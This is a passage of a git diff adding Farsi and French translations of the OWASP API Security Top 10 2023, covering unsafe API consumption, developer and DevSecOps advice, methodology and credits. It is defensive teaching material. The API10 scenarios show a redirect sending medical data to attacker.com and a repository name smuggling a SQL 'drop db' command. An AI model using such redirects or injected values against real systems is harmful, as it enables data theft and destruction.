احراز هویت، خطاها، ریدایرکت‌ها، محدودسازی نرخ درخواست، خط مشی‌های اشتراک گذاری متقابل منابع (CORS) و نقاط پایانی یا توابع انتهایی (Endpointها) شامل پارامترها، درخواست‌ها و پاسخ‌ها مستند شوند. +- با بکارگیری و انطباق با استانداردهای باز، فرایند تولید مستند بطور خودکار انجام شده و این فرایند در CI/CD Pipeline تعبیه گردد. +- مستندات API در اختیار افرادی که مجاز به دسترسی به API هستند قرار گیرد. +- از مکانیزم‌های محافظتی خارجی از جمله فایروال‌های امنیت API برای محافظت از تمامی نسخه‌های در معرض دید API (نه فقط نسخه فعلی) استفاده گردد. +- از استفاده همزمان نسخه‌های عملیاتی شده و عملیاتی نشده API اجتناب شود. اگر این همزمانی اجتناب ناپذیر است، برای نسخه‌های عملیاتی نشده API نیز باید همان حفاظت‌های امنیتی نسخه‌های عملیاتی شده برقرار باشد. +- هنگامی که در نسخه‌های جدیدتر API بهبودهای امنیتی اعمال می‌شود، بایستی فرایند تحلیل ریسک نیز صورت پذیرد تا بتوان تصمیمات لازم در خصوص اقدامات جبرانی برای رفع مشکلات امنیتی نسخه‌های قدیمی‌تر را اتخاذ نمود. بعنوان نمونه، آیا می‌توان بدون تحت‌الشعاع قراردادن انطباق‌پذیری API بهبودهای امنیتی را در نسخه‌های قدیمی نیز وارد نمود یا اینکه بایستی تمامی نسخه‌های قدیمی به سرعت از دسترس خارج شده و تمامی کلاینت‌های مجبور به استفاده از آخرین نسخه شوند؟ + +## مراجع + +### خارجی + +- [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md b/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..1c113caf6 --- /dev/null +++ b/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,82 @@ +# API10:2023 استفاده ناایمن از APIها + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار +| برای بهره‌برداری از این آسیب‌پذیری مهاجم باید APIها یا خدمات دیگری که با آنها ادغام شده را شناسایی کرده و به آنها نفوذ کند. این اطلاعات به صورت عمومی در دسترس نبوده یا API سرویس‌های آن به آسانی قابل بهره‌برداری نیستند. | توسعه‌دهندگان معمولا به endpointهای APIهای خارجی یا طرف ثالثی که در ارتباط هستند، اعتماد می‌کنند. آنها این تصور را دارند که الزامات امنیتی ضعیف‌تری مانند امنیت در انتقال اطلاعات، احراز هویت و دسترسی و اعتبارسنجی و تصفیه اطلاعات ورودی، امنیت کافی برای این نقاط را تامین می‌کند. مهاجمان باید خدماتی را که API هدف با آنها ادغام می‌شود (منابع داده) شناسایی کرده و سعی کنند که آنها را مختل کرده یا به صورت غیرمجاز به آنها دسترسی پیدا کنند. | پیامد این وضعیت به نحوه استفاده از داده‌های بهره‌برداری شده بستگی دارد. بهره‌برداری موفق از این آسیب‌پذیری ممکن است منجر به افشای اطلاعات حساس به اشخاص غیرمجاز شود. انواع مختلف حملاتی که در نتیجه بهره‌برداری از این آسیب‌پذیری ممکن است رخ دهد مانند حملات تزریق‌ها یا DoD خواهد بود. | + +## آیا API از نظر استفاده ناایمن از APIها ‌آسیب‌پذیر است؟ + +توسعه‌دهندگان معمولاً به داده‌های دریافتی از API‌های طرف ثالث بیشتر از ورودی‌های کاربران اعتماد می‌کنند. این موضوع برای API‌های ارائه شده توسط شرکت‌های معروف بیشتر صدق می‌کند. به همین دلیل، توسعه‌دهندگان عمدتاً استانداردهای امنیتی ضعیف‌تری را در بسیاری از موارد از جمله اعتبارسنجی و تصفیه ورودی اتخاذ می‌کنند. + +API‌ها ممکن است در معرض آسیب‌پذیری باشند اگر: + +- با سایر API ها از طریق یک کانال بدون رمزگذاری ارتباط برقرار کنند. +- داده‌های جمع‌آوری شده از دیگر API ها را قبل از پردازش یا ارسال به اجزای پایین‌دست به درستی اعتبارسنجی و تصفیه نکنند. +- محدودیتی در پاسخ‌دهی به درخواست‌های پی‌در‌پی نداشته باشند. +- تعداد منابع مورد نیاز برای پردازش پاسخ‌های سرویس‌های طرف ثالث را محدود نکنند. +- بازه زمانی محدود برای ارتباط با سرویس‌های طرف ثالث مشخص نکنند. + +## مثال‌‌هایی از سناریوهای حمله + +### سناریو #1 + +در این سناریو، یک API از آدرس‌های کسب و کار یک سرویس طرف ثالث استفاده می‌کند. وقتی یک کاربر آدرسی را به API ارائه می‌دهد، آن آدرس به سرویس طرف ثالث ارسال شده و اطلاعات بازگشتی در یک پایگاه داده محلی SQL ذخیره می‌شود. اشخاص با نیت مخرب، از سرویس طرف ثالث برای ذخیره کردن کدهای تزریقSQL (SQLi) استفاده می‌کنند. سپس با بکارگیری API آسیب‌پذیر و درج ورودی‌های خاص، می‌تواند اطلاعات مرتبط با کسب و کار آلوده شده را از سرویس طرف ثالث دریافت کند. در نهایت، کدهای تزریق شده SQL از طریق پایگاه داده اجرا شده و توسط مهاجم به سرور کنترلی ارسال می‌شوند. این کار سبب می‌شود تا مهاجم به طور غیرمجاز اطلاعات را از دیتابیس بازیابی کرده و بر روی سرور خود کنترل کند. + +### سناریو #2 + +یک API با یک ارائه‌دهنده خدمات طرف ثالث ادغام می‌شود تا اطلاعات حساس پزشکی کاربران را به شکلی ایمن ذخیره کند. داده‌ها با استفاده از یک درخواست HTTP از طریق برقراری یک اتصال امن، ارسال می‌شوند: + +```http +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +مهاجمین با نیت مخرب، باعث می‌شوند که این سرویس به جای پاسخ معمولی به درخواست‌ها، پاسخ‌هایی با کد 308 Permanent Redirect ارسال کند. کد 308 به معنای انتقال دائمی است که سبب می‌شود سرویس درخواست‌های کاربران را به مکان دیگری منتقل کند. + +```http +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +در نتیجه، اطلاعات حساس کاربران به جای ارسال به سرویس طرف ثالث، به سروری تحت کنترل مهاجم، ارسال می‌شود. + +### سناریو #3 + +مهاجمی یک مخزن Git با نام `'; drop db;--` ایجاد می‌کند. وقتی اتصالی از برنامه تحت حمله با مخزن مخرب برقرار شود، برنامه نام مخزن را به عنوان یک ورودی امن در نظر می‌گیرد. + +## چگونه از ‌آسیب‌پذیری استفاده ناایمن از APIها پیشگیری کنیم؟ +--- +- **ارزیابی ارائه‌دهندگان خدمات**: هنگام انتخاب ارائه‌دهندگان خدمات طرف ثالث، امنیت API آنها را به دقت ارزیابی کرده و آن‌هایی را انتخاب کنید که دارای سابقه قوی در زمینه امنیت و حفاظت از داده‌ها هستند. +- **ارتباط امن**: اطمینان حاصل کنید که تمام تعاملات با API‌ها از طریق یک کانال ارتباطی امن (TLS) صورت می‌گیرد. این کار باعث می‌شود که داده‌ها در زمان انتقال رمز شده و از دسترسی مهاجمان به آن‌ها جلوگیری شود. +- **اعتبارسنجی و تصفیه داده**: همیشه داده‌های دریافتی از API‌ها را اعتبارسنجی و تصفیه کنید. این عمل از حملات مرتبط با تزریق اطلاعات جلوگیری می‌کند. +- **نگهداری لیست مجاز (Allowlist)**: یک لیست مجاز از مکان‌های شناخته‌شده‌ای که API‌ها ممکن است به آنها هدایت شوند را نگهداری کرده و از دنبال کردن مسیرهای دارای مقصد ناشناخته خودداری کنید. + +## مراجع + +### OWASP + +- [Web Service Security Cheat Sheet][1] +- [Injection Flaws][2] +- [Input Validation Cheat Sheet][3] +- [Injection Prevention Cheat Sheet][4] +- [Transport Layer Protection Cheat Sheet][5] +- [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### خارجی + +- [CWE-20: Improper Input Validation][7] +- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +- [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/fa/0xb0-next-devs.md b/editions/2023/fa/0xb0-next-devs.md new file mode 100644 index 000000000..c438f5a14 --- /dev/null +++ b/editions/2023/fa/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# گام بعدی برای توسعه‌دهندگان + +وظایف مرتبط با ایجاد و نگهداری ایمن از نرم افزارها یا تعمیر نرم افزارهای موجود می‌تواند دشوار باشد و APIها نیز از قضیه مستثنی نیستند. + +بر این باوریم که آموزش و آگاه سازی، گامی کلیدی در راستای نوشتن و توسعه نرم افزارهای ایمن هستند. تمامی الزامات دیگر در راستای نیل به هدف فوق به **ایجاد و استفاده از فرایندهای امنیتی تکرارپذیر و کنترل‌های امنیتی استاندارد بستگی دارد.** + +OWASP منابع آزاد و رایگان متعددی برای پاسخ به مسائل امنیتی از ابتدای پروژه ایجاد نموده است. به منظور آشنایی با لیست جامع پروژه‌‌های دردسترس، [صفحه پروژه‌‌های OWASP][1] را ملاحظه نمایید. + +| | | +|-|-| +| **آموزش** | [Application Security Wayfinder][2] باید به شما دیدگاه خوبی در مورد پروژه‌هایی که در هر مرحله/فاز از چرخه عمر توسعه نرم‌افزار (SDLC) در دسترس هستند، بدهد. برای یادگیری و آموزش عملی، می‌توانید با [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] یا [OWASP Juice Shop][4] شروع کنید: هر دو عمداً دارای APIهای آسیب‌پذیر هستند. پروژه [OWASP Vulnerable Web Applications Directory Project][5] فهرستی گزینش‌شده از برنامه‌های کاربردی عمداً آسیب‌پذیر را ارائه می‌دهد که می‌توانید در آنجا چندین API آسیب‌پذیر دیگر نیز پیدا کنید. همچنین می‌توانید در جلسات آموزشی [کنفرانس OWASP AppSec][6] شرکت کنید، یا [به شعبه محلی خود بپیوندید][7]. | +| **الزامات امنیتی** | امنیت باید بعنوان بخشی تفکیک ناپذیر در تمامی پروژه‌‌ها از ابتدا درنظر گرفته شود. در هنگام استخراج الزامات امنیتی، باید معنی واژه «ایمن» برای هر پروژه مشخصا تعریف شود. OWASP استفاده از [استاندارد امنیت سنجی اپلیکیشن (ASVS)][8] را بعنوان راهنمایی برای تعیین الزامات امنیتی توصیه می‌کند. در صورت برون سپاری نیز، استفاده از [ضمیمه قرارداد نرم افزار ایمن OWASP][9] (که بایستی با قوانین و رگولاتوری‌‌های محلی انطباق یابد) می‌تواند انتخاب مناسبی باشد. | +| **معماری امنیتی** | امنیت بایستی در تمامی مراحل توسعه پروژه‌‌ها اهمیت داشته باشد. [برگه‌‌های راهنمای پیشگیری OWASP][10] نقطه شروع مناسبی برای چگونگی طراحی ایمن در خلال فاز طراحی معماری به شمار آید. همچنین [برگه راهنمای امنیت REST][11] و [برگه راهنمای ارزیابی REST][12] و همچنین [GraphQL Cheat Sheet][13] نیز گزینه‌‌های مناسبی در این راستا هستند. | +| **کنترل‌‌های امنیتی استاندارد** | بکارگیری و انطباق با کنترل‌‌های امنیتی استاندارد ریسک ایجاد ضعف‌‌های امنیتی در خلال ایجاد برنامه‌‌ها با منطق سازمانی را کاهش می‌دهد. علیرغم اینکه بسیاری از چارچوب‌های مدرن امروزی با استانداردهای توکار و موثر امنیتی توزیع می‌شوند، اما [کنترل‌‌های پیشگیرانه و فعال OWASP][14] دید خوبی از کنترل‌‌هایی که باید در پروژه‌‌ها لحاظ شوند بدست می‌دهد. OWASP کتابخانه و ابزارهای متعددی از جمله در حوزه کنترل‌‌های اعتبارسنجی در اختیار عموم قرار می‌دهد که می‌توانند مفید باشند. | +| **چرخه حیات توسعه نرم افزار ایمن** | به منظور بهبود فرایندها در هنگام ایجاد و ساخت APIها می‌توان از [مدل ضمانت کمال نرم افزار OWASP (SAMM)][15] بهره برد. همچنین پروژه‌‌های متعدد دیگری نیز در OWASP وجود دارند که می‌توانند در فازهای مختلف توسعه API مفید باشند که از جمله آنها می‌توان، [پروژه بازبینی کد OWASP][16] را نام برد. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/fa/0xb1-next-devsecops.md b/editions/2023/fa/0xb1-next-devsecops.md new file mode 100644 index 000000000..fc1856695 --- /dev/null +++ b/editions/2023/fa/0xb1-next-devsecops.md @@ -0,0 +1,21 @@ +# گام بعدی برای DevSecOps + +با توجه به اهمیت APIها در معماری اپلیکیشن‌های جدید، ایجاد APIهای ایمن امری حیاتی می‌باشد. مقوله امنیت را نمی‌توان نادیده گرفت و باید آن را جزئی از کل چرخه توسعه اپلیکیشن در نظر گرفت. انجام اسکن و تست‌ نفوذ، آن هم به صورت سالیانه به هیچ عنوان کافی نمی‌باشد. + +باید به فرایند توسعه DevSecOps افزوده شده و در تمام زمان‌های توسعه نرم افزار، انجام تست‌های امنیتی مداوم را تسهیل کند. هدف آنها بهره‌گیری از خودکارسازی‌ فرایندهای امنیتی در جهت بهبود فرایند تولید نرم افزار بوده به شکلی که تاثیری بر سرعت توسعه نداشته باشد. اگر شک دارید، [مانیفست DevSecOps][1] را بررسی کنید تا در جریان باشید. + +| | | +|---------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| درک مدل تهدیدات | اولویت‌ تست‌ها از مدل تهدیدات بدست می‌آید. اگر شما مدل تهدیدات ندارید می‌توانید از [OWASP Application Security Verification Standard (ASVS)][2] و [OWASP Testing Guide][3] به عنوان ورودی استفاده کنید. همچنین مشارکت دادن تیم توسعه می‌تواند باعث شود آنها نسبت به موضوعات امنیتی آگاه‌تر شوند. | +| درک چرخه توسعه نرم افزار | تیم توسعه را به فرایند اضافه کنید تا آنها نیز درک بهتری از چرخه توسعه نرم افزار پیدا کنند. مشارکت شما در انجام تست‌های مداوم امنیتی باید همراستا با افراد، فرایند‌ها و ابزارها باشد. همه باید با فرایند موافق باشند تا هیچ گونه اصطکاک و مقاومتی وجود نداشته باشد. | +| راهبرد انجام تست | با توجه به اینکه کار شما نباید تاثیری بر سرعت توسعه داشته باشد. بنابراین باید خیلی آگاهانه بهترین تکنیک (ساده، سریع‌ترین و دقیق‌ترین)‌ را برای تایید الزامات امنیتی انتخاب کنید. [OWASP Security Knowledge Framework][4] و [OWASP Application Security Verification Standard][2] می‌توانند منابع خوبی برای الزامات عملکردی و غیر عملکردی باشند. منابع خوب دیگری از [پروژه‌ها][5] و [ابزارها][6] مشابه با مواردی که توسط [DevSecOps community][7] پیشنهاد می‌شود، وجود دارد. | +| دستیابی به جامعیت و دقت | شما پلی هستید بین تیم‌ توسعه دهنده و ‌‌‌پیاده‌سازی، برای اینکه به این مهم دست یابید نه تنها باید بر روی عملکرد و قابلیت‌ها تمرکز کنید بلکه باید به هماهنگی نیز توجه کنید. از ابتدا به صورت نزدیک با هر دو تیم توسعه و ‌‌‌پیاده‌سازی کار کنید تا بتوانید زمان و تلاش‌تان را بهینه نمایید. شما باید برای حالتی که الزامات امنیتی به صورت مداوم بررسی شوند، هدف گذاری کنید. | +| به وضوح یافته‌‌‌ها را به اشتراک بگذارید | با کمترین اصطکاک یا بدون اصطکاک مشارکت داشته باشید. یافته‌‌ها را در بازه زمانی مشخص و در قالب ابزارهای مورد استفاده توسط تیم توسعه (نه فایل‌های PDF) تحویل دهید. به تیم توسعه اضافه شوید تا یافته‌ها را به آن‌ها نشان دهید. از این فرصت برای آموزش آنها استفاده کنید، به صورت شفاف در مورد نقطه ضعف و روش‌های سوء استفاده از آن (که شامل سناریو‌های حملات می‌باشند) توضیح دهید تا واقعی به نظر برسد. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: https://www.devsecops.org/ diff --git a/editions/2023/fa/0xd0-about-data.md b/editions/2023/fa/0xd0-about-data.md new file mode 100644 index 000000000..f416c096a --- /dev/null +++ b/editions/2023/fa/0xd0-about-data.md @@ -0,0 +1,25 @@ +# متدلوژی و داده + +## بررسی اجمالی +در تهیه این فهرست، تیم امنیت OWASP API از روش مشابهی که برای ایجاد لیست مشهور و پرطرفدار سال 2019 با موفقیت به کار رفته بود، استفاده کرده است. این روش شامل بررسی امنیت API ها و شناسایی مشکلات امنیتی آنها می‌باشد. علاوه بر روش اصلی، [فراخوانی عمومی][1] به مدت سه ماه برای جمع‌آوری داده‌ هم اعلام شد. متأسفانه، داده‌های به دست آمده از فراخوان، امکان تجزیه و تحلیل معتبر آماری از مشکلات امنیتی رایج در APIها را نداشتند. با این حال، فرآیند به‌روزرسانی با استفاده از همان روش متداول ادامه یافت. +امیدواریم به‌روزرسانی فعلی، که یک سند آگاهی‌دهنده و متمرکز بر مسائل مربوط به APIهای مدرن است برای استفاده تا سه الی چهار سال آینده مناسب باشد. هدف اصلی این پروژه این ارائه جایگزینی برای top 10 API نبوده و تمرکز آن بر مسائل مرتبط با امنیت API و ریسک‌های آینده در این زمینه است و به عنوان یک ابزار آموزشی و آگاهی‌دهنده عمل می‌کند تا صنعت به بهترین نحو ممکن از این موارد آگاه شده و اقدامات لازم را برای حفاظت از امنیت اطلاعات صورت پذیرد. + +## متدلوژی +در فاز اول، داده‌‌های در دسترس عموم در حوزه رخداد‌‌های مرتبط با امنیت API توسط گروهی از متخصصین امنیت جمع آوری، بازبینی و دسته بندی شدند. این داده‌‌ها از پلتفرم‌‌های شکار باگ و پایگاه‌‌های داده به منظور تحلیل آماری جمع آوری شده اند. این داده‌ها در بازه زمانی بین 2019 تا 2022 گزارش شده بودند و هدف از این جمع‌آوری آن‌ها، تکامل لیست 10 API پیشین برای سال‌های آینده و کمک به مدیریت داده‌های ارائه شده توسط افراد مختلف بود. به این ترتیب، تیم امنیت OWASP API توانست از تجربیات و داده‌های موجود به‌ شکل معقولی در تدوین لیست جدید امنیتی از مشکلات API استفاده کند. + + [فراخوانی عمومی][1] از سپتامبر تا آخر نوامبر 2022، برای جمع‌آوری داده آغاز شد که هم‌زمان با آن، تیم پروژه به بررسی تغییراتی که از سال 2019 به وقوع پیوسته بود، پرداخت. این بررسی شامل ارزیابی تأثیر لیست امنیتی اول، بازخوردهای دریافتی از جامعه و مشاهده تغییرات و روندهای جدید در حوزه امنیت API بود. با انجام این فراخوان، داده‌ها و بازخوردهای تازه‌ای از افراد مختلف و جامعه امنیتی جمع‌آوری شد تا تیم پروژه با آگاهی از تغییرات اخیر در امنیت API، آن‌ها را در لیست جدید مسائل امنیتی مد نظر قرار دهد. +این تلاش منجر به تهیه نسخه اولیه‌ای از ده ریسک‌ بحرانی امنیتی API شد. [روش ارزیابی ریسک OWASP][2] در تجزیه و تحلیل داده‌ها و ارائه نسخه اولیه مورد استفاده قرار گرفت. امتیازات میزان شیوع براساس توافق میان اعضای تیم پروژه و براساس تجربه‌ آن‌ها در این حوزه تعیین شدند. برای اطلاعات بیشتر در این خصوص، به بخش مرتبط با [ریسک‌های امنیتی API][3] مراجعه فرمایید. +نسخه اولیه تهیه شده، با افراد متخصص در زمینه امنیت API به اشتراک گذاشته شد. نظرات ارائه‌شده، بررسی، بحث و در صورت نیاز به سند اضافه شدند. سند نهایی به عنوان [نسخه نهایی برای بحث عمومی][4] منتشر شد تا [مورد بحث][5] قرار گیرد و تعدادی از [نظرات و مشارکت‌های][6] ارائه‌شده از جامعه به سند نهایی اضافه گردید. در نهایت، با همکاری افراد متخصص و جامعه لیست نهایی مشکلات امنیتی API تدوین گردید. +لیست مشارکت کنندگان در بخش [سپاسگزاری ها][7] قابل مشاهده است. + +## ریسک‌های مختص API + +لیست حاضر، به منظور پرداختن به مخاطرات امنیتی API‌ها ایجاد شده و از آن برای برطرف کردن چالش‌های امنیتی خاص API‌ها استفاده می‌شود. این لیست به تهدیدات عمومی امنیتی که در تمام برنامه‌های کاربردی وب و نرم‌افزارها وجود دارند، توجهی نمی‌کند و هدف اصلی آن، افزایش آگاهی از تهدیدات در زمینه API‌ها و راهکارهای مورد نیاز آن‌هاست. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fa/0xd1-acknowledgments.md b/editions/2023/fa/0xd1-acknowledgments.md new file mode 100644 index 000000000..372420d78 --- /dev/null +++ b/editions/2023/fa/0xd1-acknowledgments.md @@ -0,0 +1,53 @@ +# ACK سپاسگزاری‌ها + +## سپاسگزاری از مشارکت کنندگان +بدینوسیله از تمامی مشارکت کنندگانی که به طور عمومی در GitHub و به سایر طرق در توسعه این مستند نقش داشته‌اند تشکر می‌نماییم: + +- abunuwas +- Alissa Knight +- Arik Atar +- aymenfurter +- Corey J. Ball +- cyn8 d0znpp +- Dan Gordon +- donge +- Dor Tumarkin +- faizzaidi +- gavjl +- guybensimhon +- Inês Martins +- Isabelle Mauny +- Ivan Novikov +- jmanico +- Juan Pablo +- k7jto +- LaurentCB +- llegaz +- Maxim Zavodchik +- MrPRogers +- planetlevel +- rahulk22 +- Roey Eliyahu +- Roshan Piyush +- securitylevelup +- sudeshgadewar123 +- Tatsuya-hasegawa +- tebbers +- vanderaj +- wenz +- xplo1t-sec +- Yaniv Balmas +- Ynvb +- Alireza Mostame +- Maryam Javadi Hoseini +- Mohammad Reza Ismaeli Taba + +### ترجمه فارسی (Farsi Translation) +این ترجمه با حمایت شرکت راسپینا نت پارس تهیه شده است. استاندارد OWASP Security API Top 10 می‌تواند به عنوان مرجع راهنما در توسعه ایمن API و همچنین مرجع بررسی در فرایند آزمون نفوذ پذیری مورد استفاده قرار گیرد. + +### مترجمین (Translators) +- محمد رضا اسمعیلی طبا (Mohammad Reza Ismaeli Taba) +- مریم جوادی حسینی (Maryam Javadi Hoseini) + +### ویراستار (Editor) +- علیرضا مستمع (Alireza Mostame) diff --git a/editions/2023/fa/images/cover.jpg b/editions/2023/fa/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/fa/images/cover.jpg differ diff --git a/editions/2023/fa/images/front-cc.png b/editions/2023/fa/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/fa/images/front-cc.png differ diff --git a/editions/2023/fa/images/front-wasp.png b/editions/2023/fa/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/fa/images/front-wasp.png differ diff --git a/editions/2023/fa/images/license.png b/editions/2023/fa/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/fa/images/license.png differ diff --git a/editions/2023/fa/images/owasp-logo.png b/editions/2023/fa/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/fa/images/owasp-logo.png differ diff --git a/editions/2023/fr/0x00-header.md b/editions/2023/fr/0x00-header.md new file mode 100644 index 000000000..e73cec963 --- /dev/null +++ b/editions/2023/fr/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Ce travail est sous licence [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/fr/0x00-notice.md b/editions/2023/fr/0x00-notice.md new file mode 100644 index 000000000..a8ae57452 --- /dev/null +++ b/editions/2023/fr/0x00-notice.md @@ -0,0 +1,12 @@ +# Note + +Ce document est la version texte traduite en français de l'OWASP API Security Top 10. Il est utilisé comme source pour toutes les versions officielles de ce document, telles que le site web. + + +Les contributions au projet telles que les commentaires, les corrections ou les traductions doivent être effectuées ici. Pour plus de détails sur [Comment contribuer][1], veuillez vous référer à [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/fr/0x00-toc.md b/editions/2023/fr/0x00-toc.md new file mode 100644 index 000000000..18f1f7889 --- /dev/null +++ b/editions/2023/fr/0x00-toc.md @@ -0,0 +1,23 @@ +# Table des Matières + +* [Table des Matières](0x00-toc.md) +* [À propos de l'OWASP](0x01-about-owasp.md) +* [Avant-propos](0x02-foreword.md) +* [Introduction](0x03-introduction.md) +* [Notes de publication](0x04-release-notes.md) +* [Risques de sécurité des API](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [Perspectives pour les Développeurs](0xb0-next-devs.md) +* [Perspectives pour les DevSecOps](0xb1-next-devsecops.md) +* [Méthodologie et données](0xd0-about-data.md) +* [Remerciements](0xd1-acknowledgments.md) diff --git a/editions/2023/fr/0x01-about-owasp.md b/editions/2023/fr/0x01-about-owasp.md new file mode 100644 index 000000000..663a105e3 --- /dev/null +++ b/editions/2023/fr/0x01-about-owasp.md @@ -0,0 +1,45 @@ +# À propos de l'OWASP + +L'Open Worldwide Application Security Project (OWASP) est une communauté ouverte qui cherche à aider les organisations à développer, acheter et maintenir des applications et des API en lesquelles elles peuvent avoir confiance. + +L'OWASP vous met à disposition gratuitement et en libre accès : + +* Des outils et des normes de sécurité pour les applications. +* Des livres complets à propos des tests de sécurité sur les applications, du développement de code sécurisé et de la revue de code sécurisé. +* Des présentations et des [vidéos][1]. +* Des [Cheat sheets][2] sur de nombreux sujets. +* Des contrôles et des bibliothèques de sécurité standard. +* Des [communautés locales partout dans le monde][3]. +* Des recherches de pointe. +* De nombreuses [conférences partout dans le monde][4]. +* Des [listes de diffusion][5] ([archive][6]). + +Plus de renseignements sur : [https://www.owasp.org][7]. + +Tous les outils, documents, vidéos, présentations et communautés de l'OWASP sont gratuits et ouverts à toute personne intéressée par l'amélioration de la sécurité des applications. + +Nous considerons la sécurité des applications d'abord comme un problème impliquant des personnes, des processus et de la technologie. La manière la plus efficace de la faire progresser est donc de travailler sur l'ensemble de ces domaines en même temps. + +L'OWASP est un nouveau type d'organisation. Notre liberté face aux pressions commerciales nous permet de fournir des informations impartiales, pratiques et rentables sur la sécurité des applications. + +L'OWASP n'est affiliée à aucune entreprise de technologie, bien que nous soutenions l'utilisation éclairée de technologies sous licences commerciales. L'OWASP produit toutes sortes d'éléments de manière collaborative, transparente et ouverte. + +La Fondation OWASP est l'entité à but non lucratif qui garantit le succès à long terme du projet. La quasi-totalité des personnes associée à l'OWASP est bénévole, y compris le conseil d'administration, les responsables des communautés, les responsables de projets et les membres des projets. Nous soutenons la recherche et l'innovation sur la sécurité par des subventions et des infrastructures. + +Rejoignez-nous ! + +## Copyright et licence + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. +Ce document est distribué sous la [licence Creative Commons Attribution Share-Alike 4.0][8]. Toute réutilisation ou distribution doit clairement mentionner les termes et condition de licence de cette oeuvre. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: 